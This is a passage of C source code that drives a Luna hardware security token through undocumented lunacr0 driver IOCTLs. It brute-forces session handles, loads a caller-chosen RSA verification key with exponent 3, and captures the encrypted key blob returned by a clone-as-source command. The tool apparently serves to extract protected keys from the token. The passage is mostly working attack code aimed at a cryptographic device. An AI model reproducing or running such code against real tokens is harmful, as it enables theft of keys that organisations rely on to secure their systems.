memcpy(enc_cln_reply,response+0x18,0x80);
memcpy(enc_key_len,response+0x18+0x80,4);
if( *((DWORD *)response) == 0x00000000 )
break;
else
{
printf(".");
//printf("B3 error -- session ID didn't match. trying next...\n");
}
//if( *enc_key_len != 0xCCCCCCCC )
// break;
//printf("Matching Session ID failed.\n");
}
/**/
printf("\n");
if( sessloop == 120 )
{
end_pkcs_session();
error_exit("LUNA_CLONE_AS_SOURCE failed to execute.\n");
}
memcpy(enc_key,response+0x18+0x80+0x4,*enc_key_len);
return SUCCESS;
}
//-----------------------------------------------------------------------------------------------
//----------------------- do_LUNA_LOAD_CUST_VERIFICATION_KEY ------------------------------------
//-----------------------------------------------------------------------------------------------
int do_LUNA_LOAD_CUST_VERIFICATION_KEY(UCHAR *modulus)
{
// this function is undocumented
UCHAR iobuf[0x40];
UCHAR buffer[0x8];
UCHAR cmd_data[4096];
UCHAR resp_data_buffer[0x4000];
UCHAR *response=resp_data_buffer+0x2000;
DWORD sessloop;
for(sessloop=0;sessloop<120;sessloop++) {
do_read_window();
*((DWORD *)(buffer+0))=(DWORD)iobuf;
*((DWORD *)(iobuf+0x00))=0x0; //unknown (retcode to become)
*((DWORD *)(iobuf+0x04))=0x0; //slotID
*((DWORD *)(iobuf+0x08))=0x0; //unknown
*((DWORD *)(iobuf+0x0C))=(DWORD)cmd_data; //ptr cmd data
*((DWORD *)(iobuf+0x10))=0xA1; //len cmd data
*((DWORD *)(iobuf+0x14))=0x0; //unknown
*((DWORD *)(iobuf+0x18))=0x0; //unknown
*((DWORD *)(iobuf+0x1C))=0x0; //unknown
*((DWORD *)(iobuf+0x20))=0x0; //unknown
*((DWORD *)(iobuf+0x24))=(DWORD)response; //ptr response buffer (backwards?)
*((DWORD *)(iobuf+0x28))=0x2000; //available len response buffer
*((DWORD *)(iobuf+0x2C))=0x0; //unknown
*((DWORD *)(iobuf+0x30))=0x0; //unknown
*((DWORD *)(iobuf+0x34))=0x0; //frame pointers
*((DWORD *)(iobuf+0x38))=0x0; //ptr sub for frame handler
*((DWORD *)(iobuf+0x3C))=0x0; //unknown
memset(cmd_data,0xFE,0x200);
*((DWORD *)(cmd_data+0x00))=0x3330A006; //cmd code
*((DWORD *)(cmd_data+0x04))=0x2000; //unknown
*((DWORD *)(cmd_data+0x08))=0x6; //unknown
// sometimes 0x8 works...
//printf("sessloop=%d.\n",sessloop);
*((DWORD *)(cmd_data+0x0C))=sessloop; //session handle (so it seems);
//*((DWORD *)(cmd_data+0x0C))=session; //session handle (so it seems);
*((DWORD *)(cmd_data+0x10))=0x7A120; //unknown
*((DWORD *)(cmd_data+0x14))=0x1; //vendor id
*((DWORD *)(cmd_data+0x18))=0x80; //len modulus
memcpy(cmd_data+0x1C,modulus,0x80); //modulus
*((DWORD *)(cmd_data+0x9C))=0x1; //len exponent
*((DWORD *)(cmd_data+0xA0))=0x3; //exponent
//dump_data(cmd_data,0xC0);
driver_io(LUNA_EXECUTE_INTERFACE3_CMD,buffer);
//dump_data(response,0x30);
if( *((DWORD *)response) == 0x00000000 )
break;
else
{
printf(".");
//printf("B3 error -- session ID didn't match. trying next...\n");
}
}
printf("\n");
if( sessloop == 120 )
{
end_pkcs_session();
error_exit("LUNA_LOAD_CUST_VERIF_KEY failed to execute.\n");
}
printf("SUCCESS -- CVK set.\n");
return SUCCESS;
}
//-----------------------------------------------------------------------------------------------
//---------------------------------- driver_io --------------------------------------------------
//-----------------------------------------------------------------------------------------------
int driver_io(DWORD control,UCHAR *buffer)
{
// this function is undocumented
BOOL ret;
DWORD amt_returned=0;
ret=DeviceIoControl(
lunacr0, //hDevice
control, //dwIoControlCode
buffer, // lpInBuffer pointer valid
4, // nInBufferSize 4
NULL, // lpOutBuffer NULL
0, // nOutBufferSize 0
&amt_returned, // lpUCHARsReturned pointer valid
NULL // lpOverlapped pointer valid
);
if( !ret )
{
printf("error code : %d\n",GetLastError());
error_exit("IO command failed.\n");
}
return amt_returned;
}
//-----------------------------------------------------------------------------------------------
//-------------------------------- test_token_pres ----------------------------------------------
//-----------------------------------------------------------------------------------------------
int test_token_pres(UCHAR slot)
{
BOOL ret;
UCHAR buffer[8];
DWORD amt_returned=0;
UCHAR fred[4096];
UCHAR bill[4096];
UCHAR *f,*b;
memset(fred,0,4096);
memset(bill,0,4096);
f=fred;
b=bill;
memcpy(buffer,(&f),4);
memcpy(buffer+4,(&b),4);
memcpy(f+4,&slot,1);
/*
printf("buffer before...\n");
dump_data(buffer,0xC);*/
ret=DeviceIoControl(
lunacr0, //hDevice
LUNA_TEST_TOKEN_PRESENCE,//dwIoControlCode
&buffer, // lpInBuffer pointer valid
4, // nInBufferSize 4
NULL, // lpOutBuffer NULL
0, // nOutBufferSize 0
&amt_returned, // lpUCHARsReturned pointer valid
NULL // lpOverlapped pointer valid
);
/* printf("buffer after...\n");
dump_data(buffer,0xC);
printf("FRED\n");
dump_data(f,16);
printf("BILL\n");
dump_data(b,16);
printf("\n");*/
if( !ret )
{
printf("error code : %d\n",GetLastError());
error_exit("IO command failed.\n");
}
return *(f+8);
}
//-----------------------------------------------------------------------------------------------
//-------------------------------- do_read_window -----------------------------------------------
//-----------------------------------------------------------------------------------------------
void do_read_window(void)
{
// this function is undocumented
UCHAR iobuf[0x14];
UCHAR buffer[0x8];
UCHAR data[8192];
*((DWORD *)(buffer+0))=(DWORD)iobuf;
*((DWORD *)(iobuf+0x00))=0xF; //unknown (retcode to become)
*((DWORD *)(iobuf+0x04))=slotID; //slotID
*((DWORD *)(iobuf+0x08))=0x68; //unknown
*((DWORD *)(iobuf+0x0C))=(DWORD)data; //ptr FTSI
*((DWORD *)(iobuf+0x10))=0x4; //unknown
//dump_data(data,0x4);
//dump_data(iobuf,0x14);
driver_io(LUNA_READ_WINDOW,buffer);
//dump_data(data,0x14);
}
//-----------------------------------------------------------------------------------------------
//-------------------------------- get_num_slots ------------------------------------------------
//-----------------------------------------------------------------------------------------------
int get_num_slots(void)
{
// this function is undocumented. it returns the number of slots
UCHAR iobuf[0xC];
UCHAR buffer[0x8];
*((DWORD *)(buffer+0))=(DWORD)iobuf;
driver_io(LUNA_GET_NUMBER_OF_SLOTS,buffer);
return iobuf[4];
}
//-----------------------------------------------------------------------------------------------
//------------------------------------------ get_slotID -----------------------------------------
//-----------------------------------------------------------------------------------------------
DWORD get_slotID(void)
{
// this function is undocumented
printf("\n%d slots in total.\n",get_num_slots());
if( test_token_pres(0) && test_token_pres(1) )
error_exit("Two tokens present. Put the source token in slot 0, and leave slot 1 empty.\n");
if( test_token_pres(0) )
{
printf("Using token in slot 0.\n");
return 0;
}
if( test_token_pres(1) )
{
printf("Using token in slot 1.\n");
return 1;
}
return NO_TOKEN_PRESENT;
}
//-----------------------------------------------------------------------------------------------
//---------------------------- init_cr0_driver --------------------------------------------------
//-----------------------------------------------------------------------------------------------
void init_cr0_driver(void)
{
// this function is undocumented
UCHAR lunacr0_name[]="\\\\.\\Lunacr0";
//--------------------------- open lunacr0 device driver ------------------------
lunacr0=CreateFileA( lunacr0_name,
(GENERIC_READ | GENERIC_WRITE),
(FILE_SHARE_READ | FILE_SHARE_WRITE),
NULL,
OPEN_EXISTING,
FILE_FLAG_DELETE_ON_CLOSE,
NULL
);
// FILE_FLAG_DELETE_ON_CLOSE = 0x4000000
// GENERIC_READ | GENERIC_WRITE = 0xC0000000
// FILE_SHARE_READ | FILE_SHARE_WRITE = 0x3
// OPEN_EXISTING = 0x3
if( lunacr0 == (HANDLE)-1 )
error_exit("could not open lunaCR driver.\n");
}